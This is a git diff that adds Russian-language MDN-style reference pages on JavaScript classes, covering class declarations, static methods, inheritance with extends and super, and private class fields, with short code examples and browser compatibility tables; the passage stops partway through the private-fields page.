+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html
new file mode 100644
index 0000000000..883df1a1be
--- /dev/null
+++ b/files/ru/web/javascript/reference/classes/index.html
@@ -0,0 +1,414 @@
+---
+title: Классы
+slug: Web/JavaScript/Reference/Classes
+tags:
+  - ECMAScript 2015
+  - ECMAScript6
+  - JavaScript
+  - Reference
+  - Классы
+  - Наследование
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Классы")}}</div>
+
+<p>Классы в JavaScript были введены в ECMAScript 2015 и представляют собой синтаксический сахар над существующим в JavaScript механизмом прототипного наследования. Синтаксис классов <strong>не вводит</strong> новую объектно-ориентированную модель, а предоставляет более простой и понятный способ создания объектов и организации наследования.</p>
+
+<h2 id="Определение_классов">Определение классов</h2>
+
+<p>На самом деле классы — это "специальные <a href="/ru/docs/Web/JavaScript/Reference/Functions">функции</a>", поэтому точно также, как вы определяете функции (<a href="/ru-RU/docs/Web/JavaScript/Reference/Operators/function">function expressions</a> и <a href="/ru-RU/docs/Web/JavaScript/Reference/Statements/function">function declarations</a>), вы можете определять и классы с помощью: <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">class declarations</a> и <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">class expressions</a>.</p>
+
+<h3 id="Объявление_класса">Объявление класса</h3>
+
+<p>Первый способ определения класса — <strong>class declaration (</strong><em>объявление класса</em><strong>)</strong>. Для этого необходимо воспользоваться ключевым словом <code>class</code> и указать имя класса (в примере — «Rectangle»).</p>
+
+<pre class="brush: js notranslate"><code>class Rectangle {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</code></pre>
+
+<h4 id="Подъём_hoisting">Подъём (hoisting)</h4>
+
+<p>Разница между <em>объявлением функции</em> (<em>function declaration</em>) и <em>объявлением класса</em> (<em>class declaration</em>) в том, что <em>объявление функции</em> совершает подъём ({{Glossary("Hoisting", "hoisted")}}), в то время как <em>объявление класса</em> — нет. Поэтому вначале необходимо объявить ваш класс и только затем работать с ним, а код же вроде следующего сгенерирует исключение типа {{jsxref("ReferenceError")}}:</p>
+
+<pre class="brush: js notranslate"><code>var p = new Rectangle(); // ReferenceError
+
+class Rectangle {}</code></pre>
+
+<h3 id="Выражение_класса">Выражение класса</h3>
+
+<p>Второй способ определения класса — <strong>class expression (</strong><em>выражение класса</em><strong>)</strong>. Можно создавать именованные и безымянные выражения. В первом случае имя выражения класса находится в локальной области видимости класса и может быть получено через свойства самого класса, а не его экземпляра.</p>
+
+<pre class="brush: js notranslate"><code>// безымянный
+var Rectangle = class {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+console.log(Rectangle.name);
+// отобразится: "Rectangle"
+
+// именованный
+var Rectangle = class Rectangle2 {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+};
+console.log(Rectangle.name);
+// отобразится: "Rectangle2" </code>
+</pre>
+
+<div class="note">
+<p><strong>Обратите внимание: выражения </strong>класса подвержены тем же проблемам с подъёмом (hoisting), что и <strong>объявления</strong> класса.</p>
+</div>
+
+<h2 id="Тело_класса_и_задание_методов">Тело класса и задание методов</h2>
+
+<p>Тело класса — это часть кода, заключенная в фигурные скобки <code>{}</code>. Здесь вы можете объявлять члены класса, такие как методы и конструктор.</p>
+
+<h3 id="Строгий_режим">Строгий режим</h3>
+
+<p>Тела <em>объявлений классов</em> и <em>выражений классов</em> выполняются в строгом режиме (<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>).</p>
+
+<h3 id="Constructor">Constructor</h3>
+
+<p>Метод <code><a href="/ru/docs/Web/JavaScript/Reference/Classes/constructor">constructor</a></code> — специальный метод, необходимый для создания и инициализации объектов, созданных, с помощью класса. В классе может быть только один метод с именем <code>constructor</code>. Исключение типа {{jsxref("SyntaxError")}} будет выброшено, если класс содержит более одного вхождения метода <code>constructor</code>.</p>
+
+<p>Ключевое слово <code>super</code> можно использовать в методе <code>constructor</code> для вызова конструктора родительского класса.</p>
+
+<h3 id="Методы_прототипа">Методы прототипа</h3>
+
+<p>См. также <a href="/ru/docs/Web/JavaScript/Reference/Functions/%D0%9E%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B8%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%BE%D0%B2">определение методов</a>.</p>
+
+<pre class="brush: js notranslate"><code>class Rectangle {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+
+  get area() {
+    return this.calcArea();
+  }
+
+  calcArea() {
+    return this.height * this.width;
+  }
+}
+
+const square = new Rectangle(10, 10);
+
+console.log(square.area); // 100</code></pre>
+
+<h3 id="Статические_методы_и_свойства">Статические методы  и свойства</h3>
+
+<p>Ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code>, определяет статический метод или свойства для класса. Статические методы и свойства вызываются без <a href="/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_Object_.28Class_Instance.29">инстанцирования</a> их класса, и <strong>не могут</strong> быть вызваны у экземпляров (<em>instance</em>) класса. Статические методы, часто используются для создания служебных функций для приложения, в то время как статические свойства полезны для кеширования в рамках класса, фиксированной конфигурации или любых других целей, не связанных с реплецированием данных между экземплярами.</p>
+
+<pre class="brush: js notranslate"><code>class Point {
+  constructor(x, y) {
+    this.x = x;
+    this.y = y;
+  }
+
+  static displayName = "Точка";
+  static distance(a, b) {
+    const dx = a.x - b.x;
+    const dy = a.y - b.y;
+
+    return Math.hypot(dx, dy);
+  }
+}
+
+const p1 = new Point(5, 5);
+const p2 = new Point(10, 10);
+p1.displayName; //undefined
+p1.distance;    //undefined
+p2.displayName; //undefined
+p2.distance;    //undefined
+
+console.log(Point.displayName);      // "Точка"
+console.log(Point.distance(p1, p2)); // 7.0710678118654755</code></pre>
+
+<h3 id="Привязка_this_в_прототипных_и_статических_методах">Привязка <code>this</code> в прототипных и статических методах</h3>
+
+<p>Когда статический или прототипный метод вызывается без привязки к <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> объекта (или когда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> является типом boolean, string, number, undefined, null), тогда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> будет иметь значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">undefined</span></font> внутри вызываемой функции. Автоупаковка не будет произведена. Поведение будет таким же как если бы мы писали код в нестрогом режиме.</p>
+
+<pre class="brush: js notranslate"><code>class Animal {
+  speak() {
+    return this;
+  }
+  static eat() {
+    return this;
+  }
+}
+
+let obj = new Animal();
+obj.speak(); // объект Animal
+let speak = obj.speak;
+speak(); // undefined
+
+Animal.eat() // класс Animal
+let eat = Animal.eat;
+eat(); // undefined</code></pre>
+
+<p>Если мы напишем этот же код используя классы основанные на функциях, тогда произойдет автоупаковка основанная на значении <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдет - значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останется прежним.</p>
+
+<pre class="brush: js notranslate"><code>function Animal() { }
+
+Animal.prototype.speak = function(){
+  return this;
+}
+
+Animal.eat = function() {
+  return this;
+}
+
+let obj = new Animal();
+let speak = obj.speak;
+speak(); // глобальный объект (нестрогий режим)
+
+let eat = Animal.eat;
+eat(); // глобальный объект (нестрогий режим)</code>
+</pre>
+
+<h3 id="Свойства_экземпляра">Свойства экземпляра</h3>
+
+<p>Свойства экземпляра должны быть определены в методе класса:</p>
+
+<pre class="notranslate">class Rectangle {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</pre>
+
+<p>Статические (class-side) свойства и свойства прототипа должны быть определены за рамками тела класса:</p>
+
+<pre class="notranslate">Rectangle.staticWidth = 20;
+Rectangle.prototype.prototypeWidth = 25;
+</pre>
+
+<h3 id="Определение_полей">Определение полей</h3>
+
+<div class="blockIndicator warning">
+<p>Публичные и приватные поля - это <a href="https://github.com/tc39/proposal-class-fields">экспериментальная особенность (stage 3)</a>, предложенная комитетом <a href="https://tc39.es/">TC39</a> по стандартам языка Javascript. Поддержка баузерами ограничена, но это нововведение может быть использовано на моменте сборки, используя к примеру <a href="https://babeljs.io/">Babel</a>.</p>
+</div>
+
+<h4 id="Публичные_поля">Публичные поля</h4>
+
+<p>Используя Javascript синтаксис определения полей, приведенный выше пример может быть изменен следующим образом:</p>
+
+<pre class="notranslate">class Rectangle {
+  height = 0;
+  width;
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}</pre>
+
+<p>Как видно из примера, поля могут быть объявлены как со начальным значением, так и без него.</p>
+
+<p>Более подробно об этом написано в <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes/Class_fields">публичные поля класса</a>.</p>
+
+<h4 id="Приватные_поля">Приватные поля</h4>
+
+<p>Предыдущий пример может быть изменен следующим образом, используя приватные поля:</p>
+
+<pre class="notranslate">class Rectangle {
+  #height = 0;
+  #width;
+  constructor(height, width) {
+    this.#height = height;
+    this.#width = width;
+  }
+}</pre>
+
+<p>Приватные поля могут быть изменены или прочитаны только в рамках класса и не могут быть вызваны извне. Определяя вещи, которые не видны за пределами класса, вы гарантируете, что пользователи ваших классов не могут зависеть от внутренних компонентов, которые могут изменить версию на версию.</p>
+
+<div class="blockIndicator note">
+<p>Приватные поля могут быть объявлены только заранее в объявлении поля.</p>
+</div>
+
+<p>Приватные поля не могут быть созданы позже путем присваивания им значения, в отличии от обычных свойств.</p>
+
+<p>Более подробно об этом написано в <a href="/ru/docs/Web/JavaScript/Reference/Classes/%D0%9F%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%BB%D1%8F_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0">Приватные поля класса</a>.</p>
+
+<h2 id="Наследование_классов_с_помощью_extends">Наследование классов с помощью <code>extends</code></h2>
+
+<p>Ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> используется в <em>объявлениях классов</em> и <em>выражениях классов</em> для создания класса, дочернего относительно другого класса.</p>
+
+<pre class="brush: js notranslate"><code class="language-js">class Animal {
+  constructor(name) {
+    this.name = name;
+  }</code>
+
+  speak() {
+    console.log(`${this.name} издает звук.`);
+  }
+}
+
+class Dog extends Animal {
+  constructor(name) {
+    super(name); // вызывает конструктор super класса и передает параметр name
+  }
+
+  speak() {
+    console.log(`${this.name} лает.`);
+  }
+}
+
+<code class="language-js">let d = new Dog('Митци');
+d.speak(); // Митци лает</code></pre>
+
+<p>Если в подклассе присутствует конструктор, он должен сначала вызвать <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">super</span></font>, прежде чем использовать <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>.</p>
+
+<p>Аналогичным образом можно расширять традиционные, основанные на функциях "классы":</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">function Animal (name) {
+  this.name = name;
+}
+Animal.prototype.speak = function () {
+  console.log(</code>`${this.name} издает звук.`<code class="language-js">);
+}
+
+class Dog extends Animal {
+  speak() {
+    console.log(</code>`${this.name} лает.`<code class="language-js">);
+  }
+}
+
+let d = new Dog('Митци');
+d.speak(); // Митци лает
+
+// </code>Для аналогичных методов дочерний метод имеет приоритет над родительским.</pre>
+
+<p>Обратите внимание, что классы не могут расширять обычные (non-constructible) объекты. Если вам необходимо создать наследование от обычного объекта, в качестве замены можно использовать {{jsxref("Object.setPrototypeOf()")}}:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">var Animal = {
+  speak() {
+    console.log(</code>`${this.name} издает звук.`<code class="language-js">);
+  }
+};
+
+class Dog {
+  constructor(name) {
+    this.name = name;
+  }
+}
+
+// Если вы этого не сделаете, вы получите ошибку TypeError при вызове speak.
+Object.setPrototypeOf(Dog.prototype, Animal);
+
+let d = new Dog('Митци');
+d.speak(); // Митци издает звук.</code></pre>
+
+<h2 id="Species">Species</h2>
+
+<p>Допустим, вам хотелось бы возвращать объекты типа {{jsxref("Array")}} в вашем производном от массива классе <code>MyArray</code>. Паттерн species позволяет вам переопределять конструкторы по умолчанию.</p>
+
+<p>Например, при использовании таких методов, как {{jsxref("Array.map", "map()")}}, который возвращает конструктор по умолчанию, вам хотелось бы, чтобы они возвращали родительский объект <code>Array</code> вместо объекта <code>MyArray</code>. Символ {{jsxref("Symbol.species")}} позволяет это реализовать:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">class MyArray extends Array {
+  // Изменить species на родительский конструктор Array
+  static get [Symbol.species]() { return Array; }
+}
+var a = new MyArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MyArray); // false
+console.log(mapped instanceof Array);   // true</code></pre>
+
+<h2 id="Обращение_к_родительскому_классу_с_помощью_super">Обращение к родительскому классу с помощью <code>super</code></h2>
+
+<p>Ключевое слово <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/super">super</a></code> используется для вызова функций на родителе объекта.</p>
+
+<pre class="brush: js  language-js notranslate"><code class="language-js">class Cat {
+  constructor(name) {
+    this.name = name;
+  }
+
+  speak() {
+    console.log(</code>`${this.name} издает звук.`<code class="language-js">);
+  }
+}
+
+class Lion extends Cat {
+  speak() {
+    super.speak();
+    console.log(</code>`${this.name}<code class="language-js"> рычит.`);
+  }
+}
+
+let l = new Lion('Фаззи');
+l.speak();
+// Фаззи издает звук.
+// Фаззи рычит.</code>
+</pre>
+
+<h2 id="Mix-ins">Mix-ins</h2>
+
+<p>Абстрактные подклассы, или mix-ins, — это шаблоны для классов. У класса в ECMAScript может быть только один родительский класс, поэтому множественное наследование (к примеру, от tooling classes) невозможно. Функциональность должен предоставлять родительский класс.</p>
+
+<p>Для реализации mix-ins в ECMAScript можно использовать функцию, которая в качестве аргумента принимает родительский класс, а возвращает подкласс, его расширяющий:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">var calculatorMixin = Base =&gt; class extends Base {
+  calc() { }
+};
+
+var randomizerMixin = Base =&gt; class extends Base {
+  randomize() { }
+};</code></pre>
+
+<p>Класс, использующий такие mix-ins, можно описать следующим образом:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">class Foo { }
+class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.classes")}}</p>
+
+<h2 id="Повторное_определение_класа">Повторное определение класа</h2>
+
+<p>Класс не может быть переопределен. Попытка этого приведет к <code>SyntaxError</code> .</p>
+
+<p>Если мы запускаете код в веб браузере, к примеру в Firefox Web Console (<strong>Tools </strong>&gt;<strong> Web Developer </strong>&gt;<strong> Web Console</strong>) и вы используете ('Run') определение класса с одним и тем же именем дважды, вы получите <code>SyntaxError: redeclaration of let <em>ClassName</em>;</code>. (Обсуждение по ошибке можно посмотреть в {{Bug(1428672)}}.) Chrome Developer Tools возвращает сообщение типа <code>Uncaught SyntaxError: Identifier '<em>ClassName</em>' has already been declared at &lt;anonymous&gt;:1:1</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Функции</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">Определение классов</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/class">Выражение классов</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes/Class_fields">Публичные поля класса</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Classes/%D0%9F%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%BB%D1%8F_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0">Приватные поля класса</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/super">super</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Статья в блоге: "ES6 In Depth: Classes"</a></li>
+ <li><a href="https://github.com/tc39/proposal-class-fields">Fields and public/private class properties proposal (stage 3)</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/classes/static/index.html b/files/ru/web/javascript/reference/classes/static/index.html
new file mode 100644
index 0000000000..cec6516733
--- /dev/null
+++ b/files/ru/web/javascript/reference/classes/static/index.html
@@ -0,0 +1,129 @@
+---
+title: static
+slug: Web/JavaScript/Reference/Classes/static
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>Для того, чтобы объявить статический метод класса, необходимо использовать ключевое слово <strong>static</strong>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">static <em>methodName</em>() { ... }</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Cтатические методы вызываются через имя класса. Вызывать статические методы через имя объекта запрещено. Статические методы часто используются для создания вспомогательных функций приложения.</p>
+
+<h2 id="Вызов_статических_методов">Вызов статических методов</h2>
+
+<h3 id="Вызов_из_другого_статического_метода">Вызов из другого статического метода</h3>
+
+<p>Чтобы вызвать статический метод в другом статическом методе того же класса, вы можете использовать ключевое слово <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>.</p>
+
+<pre class="brush: js">class StaticMethodCall {
+  static staticMethod() {
+    return 'Вызван статический метод';
+  }
+  static anotherStaticMethod() {
+    return this.staticMethod() + ' из другого статического метода';
+  }
+}
+StaticMethodCall.staticMethod();
+// 'Вызван статический метод'
+
+StaticMethodCall.anotherStaticMethod();
+// 'Вызван статический метод из другого статического метода'
+</pre>
+
+<h3 id="Вызов_из_конструктора_класса_и_других_методов">Вызов из конструктора класса и других методов</h3>
+
+<p>Статические методы недоступны напрямую, используя ключевое слово <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> из нестатических методов. Вам нужно вызвать их с помощью имени класса: <code>CLASSNAME.STATIC_METHOD_NAME()</code> или вызовом метода как свойства конструктора: <code>this.constructor.STATIC_METHOD_NAME()</code>.</p>
+
+<pre class="brush: js">class StaticMethodCall {
+  constructor() {
+    console.log(StaticMethodCall.staticMethod());
+    // 'вызван статический метод.'
+
+    console.log(this.constructor.staticMethod());
+    // 'вызван статический метод.'
+  }
+
+  static staticMethod() {
+    return 'вызван статический метод.';
+  }
+}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий пример демонстрирует:</p>
+
+<ol>
+ <li>Как статический метод реализуется в классе.</li>
+ <li>Как переопределить статический метод при наследовании.</li>
+ <li>Как можно и как нельзя вызывать статические методы.</li>
+</ol>
+
+<pre class="brush: js">class Triple {
+  static triple(n) {
+    if (n === undefined) {
+      n = 1;
+    }
+    return n * 3;
+  }
+}
+
+class BiggerTriple extends Triple {
+  static triple(n) {
+    return super.triple(n) * super.triple(n);
+  }
+}
+
+console.log(Triple.triple());        // 3
+console.log(Triple.triple(6));       // 18
+
+var tp = new Triple();
+
+console.log(BiggerTriple.triple(3));
+// 81 (не затрагивается экземпляром родителя)
+
+console.log(tp.triple());
+// Выведет сообщение, что "tripple" не является
+// функцией ('tp.tripple is not a function').
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div>
+
+<p>{{Compat("javascript.classes.static")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/classes/приватные_поля_класса/index.html b/files/ru/web/javascript/reference/classes/приватные_поля_класса/index.html
new file mode 100644
index 0000000000..09fe2505e2
--- /dev/null
+++ b/files/ru/web/javascript/reference/classes/приватные_поля_класса/index.html
@@ -0,0 +1,205 @@
+---
+title: Приватные поля класса
+slug: Web/JavaScript/Reference/Classes/Приватные_поля_класса
+translation_of: Web/JavaScript/Reference/Classes/Private_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p><span class="seoSummary">Свойства класса по умолчанию являются общедоступными и могут быть рассмотрены или изменены вне класса. Тем не менее, есть <a href="https://github.com/tc39/proposal-class-fields">экспериментальное предложение</a>, позволяющее определить приватные поля класса, используя префикс хэша <code>#</code>.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">class ClassWithPrivateField {
+  #privateField
+}
+
+class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+ }
+}
+
+class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Приватные_статические_поля">Приватные статические поля</h3>
+
+<p>Приватные поля доступны в конструкторе класса изнутри самой декларации класса.</p>
+
+<p>Ограничение статических переменных, вызываемых только статическими методами, все еще сохраняется.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+  }
+}
+
+console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p>Приватные статические поля добавляются в конструктор класса во время обработки класса.</p>
+
+<p>Существует ограничение по происхождению частных статических полей. Только класс, который определяет приватное статическое поле, может получить доступ к этому полю.</p>
+
+<p>Это может привести к неожиданному поведению при использовании this.</p>
+
+<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42
+    return this.#PRIVATE_STATIC_FIELD
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+let error = null
+
+try {
+  SubClass.basePublicStaticMethod()
+} catch(e) { error = e}
+
+console.assert(error instanceof TypeError)
+</pre>
+
+<h3 id="Приватные_поля_экземпляров">Приватные поля экземпляров</h3>
+
+<p>Приватные поля экзмепляров объявляются <strong>#имя </strong>(произносится как "хэш нэймс"), которые идентифицируются префиксом <code><strong>#</strong></code>. <code>#</code> является частью имени, а также используется для объявления и доступа.</p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Инкапсуляция обеспечивается языком.</span> <span title="">Обращение к <code>#</code> именам вне области видимости является синтаксической ошибкой.</span></span></p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateField {
+  #privateField
+
+  constructor() {
+    this.#privateField = 42
+    this.#randomField = 666 // Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Syntax error
+</pre>
+
+<h3 id="Приватные_методы">Приватные методы</h3>
+
+<h4 id="Приватные_статические_методы">Приватные статические методы</h4>
+
+<p>Приватные статические методы</p>
+
+<p>Как и их публичный эквивалент, приватные статические методы вызываются на самом классе, а не на экземплярах класса. Как и приватные статические поля, они доступны только изнутри объявления класса.</p>
+
+<p>Приватные статические методы могут быть генераторами, асинхронными функциями и асинхронными функциями-генераторами.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42
+    }
+
+    static publicStaticMethod1() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42);
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42);
+</pre>
+
+<p>Это может привести к неожиданному поведению при его использовании <strong><code>this</code></strong>. В следующем примере <code>this</code> относится к классу <code>Derived</code> (а не к классу <code>Base</code>), когда мы пытаемся вызвать <code>Derived.publicStaticMethod2()</code>, и, таким образом, имеет такое же "ограничение по происхождению", как упоминалось выше:</p>
+
+<pre class="brush: js notranslate">class Base {
+    static #privateStaticMethod() {
+        return 42;
+    }
+    static publicStaticMethod1() {
+        return Base.#privateStaticMethod();
+    }
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError
+</pre>
+
+<h4 id="Приватные_методы_экземпляровinstance">Приватные методы экземпляров(instance)</h4>
+
+<p>Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещен также, как у приватных полей класса.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+
+  getPrivateMessage() {
+      return this.#privateMethod()
+  }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p>Приватные методы экземпляров могут быть генератором, async, или функциями async генератора. Приватные геттеры и сеттеры также возможны:</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateAccessor {
+  #message
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`
